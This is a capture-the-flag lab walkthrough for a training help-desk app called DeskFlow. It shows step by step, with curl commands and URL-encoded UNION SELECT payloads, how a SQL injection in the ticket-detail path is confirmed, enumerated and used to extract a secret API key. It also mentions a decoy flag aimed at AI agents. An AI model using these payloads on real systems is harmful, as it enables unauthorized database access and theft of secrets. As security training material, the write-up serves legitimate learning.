Lab 3 — DeskFlow — SQL Injection in Ticket View
Lab 3 — DeskFlow — SQL Injection in Ticket View
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: boolean_based_sqli_confirmation, decoy_flag_detection, order_by_column_enumeration, sqlite_master_schema_extraction, union_based_sql_injection
Summary
Walkthrough of the CUSTOM Web Lab 3 — DeskFlow — SQL Injection in Ticket View. Task: IT service management platform (DeskFlow) with ticket system, ticket detail endpoint /tickets/{id} vulnerable to SQL injection via path parameter. Solution: UNION-based SQLi with 11 columns to e
Description
DeskFlow is an IT service management platform developed by FlowTech Solutions. The application provides ticket management, asset tracking, team directory, knowledge base, and system administration features for IT support teams. You've been hired to test DeskFlow's security. The platform handles ticket data through various endpoints. Some endpoints may process user input differently than others. Pay attention to how the application constructs its database queries.
Objective: Find an SQL injection vulnerability that lets you extract sensitive data from the database. The flag is stored as master_api_key in the system_config table.
Test credentials: user@test.com / password123
English summary: DeskFlow is a Flask-based IT service management application with multiple features (tickets, assets, team directory, knowledge base, settings). The goal is to find an SQL injection vulnerability and extract the master_api_key value from the system_config table. Test credentials are provided for authenticated access.
Analysis
Authentication & Reconnaissance
Logged in with user@test.com / password123 to obtain a session cookie. The application is a Flask app behind nginx, identified as DeskFlow v2.4.1.
Mapped endpoints:
/tickets— ticket listing with search/filter/tickets/{id}— individual ticket detail view/assets— asset tracking/team— team directory/knowledge— knowledge base/settings— system settings/tickets/new— create new ticket/tickets/{id}/comment— add comment to ticket
Honeypot/Decoy flag: The HTML source contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements. This is a trap designed to fool automated scanners and AI agents. It is NOT the real flag.
SQL Injection Discovery
The ticket detail endpoint /tickets/{id} is vulnerable to SQL injection in the URL path parameter. The ticket ID is directly interpolated into the SQL query without parameterization.
Boolean-based confirmation:
| Request | Result | Meaning |
|---|---|---|
/tickets/1 AND 1=1 | 200 OK, shows Ticket #1 | True condition — row returned |
/tickets/1 AND 1=2 | Redirect to /tickets | False condition — no row |
/tickets/0 OR 1=1 | 200 OK, shows Ticket #1 | OR bypasses invalid ID |
/tickets/0 OR 1=2 | Redirect to /tickets | False OR — no row |
| |
This confirms classic boolean-based SQL injection: the application returns the ticket page when the injected condition is true, and redirects when false.
Column Count Enumeration
Used ORDER BY to determine the number of columns in the query:
/tickets/1 ORDER BY 11— success (returns ticket)/tickets/1 ORDER BY 12— fails (redirect)
Result: 11 columns in the underlying SELECT statement.
UNION SELECT Verification
Confirmed UNION injection works with 11 NULL columns:
/tickets/0 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
This returned a page showing "Ticket #None", confirming the UNION injection path.
Column Mapping
Mapped each column to its displayed field using marker strings:
/tickets/0 UNION SELECT 1,'TITLE2','DESC3','STATUS4','PRIO5','CAT6','ASSIGN7','CREATOR8','DATE9','DATE10',11
| Column | Field |
|---|---|
| 1 | ticket ID |
| 2 | title (displayed in subtitle/description area) |
| 3 | description |
| 4 | status |
| 5 | priority |
| 6 | category |
| 7 | assigned_to |
| 8 | creator |
| 9 | created_date |
| 10 | updated_date |
| 11 | numeric field |
| |
Database Identification
Identified the backend as SQLite:
/tickets/0 UNION SELECT 0,sqlite_version(),'x','x','x','x','x','x','x','x',11
Returned SQLite 3.51.2.
Solution
Step 1: Authenticate and get session cookie
bash read-only • copy allowedcurl -c cookies.txt -d "email=user@test.com&password=password123" \ https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/login
Step 2: Confirm SQL injection with boolean tests
bash read-only • copy allowed# True condition — returns ticket page curl -b cookies.txt -s -o /dev/null -w "%{http_code}" \ "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/1%20AND%201=1" # → 200 # False condition — redirects curl -b cookies.txt -s -o /dev/null -w "%{http_code}" \ "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/1%20AND%201=2" # → 302
Step 3: Enumerate column count with ORDER BY
bash read-only • copy allowed# 11 columns — success curl -b cookies.txt -s -o /dev/null -w "%{http_code}" \ "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/1%20ORDER%20BY%2011" # → 200 # 12 columns — fails curl -b cookies.txt -s -o /dev/null -w "%{http_code}" \ "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/1%20ORDER%20BY%2012" # → 302
Step 4: Extract table schema via sqlite_master
bash read-only • copy allowedcurl -b cookies.txt -s \ "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/0%20UNION%20SELECT%200,(SELECT%20sql%20FROM%20sqlite_master%20WHERE%20name='system_config'),'x','x','x','x','x','x','x','x',11"
Returned: CREATE TABLE system_config (key TEXT UNIQUE NOT NULL, value TEXT NOT NULL, ...)
Step 5: Extract the flag
bash read-only • copy allowedcurl -b cookies.txt -s \ "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/0%20UNION%20SELECT%200,(SELECT%20value%20FROM%20system_config%20WHERE%20key='master_api_key'),'x','x','x','x','x','x','x','x',11"
The title field in the response contains the flag.
Key Takeaways / Lessons
- Mastering boolean_based_sqli_confirmation, decoy_flag_detection, order_by_column_enumeration, sqlite_master_schema_extraction, union_based_sql_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-29 • CUSTOM • Lab 3 — DeskFlow — SQL Injection in Ticket View • Difficulty: Medium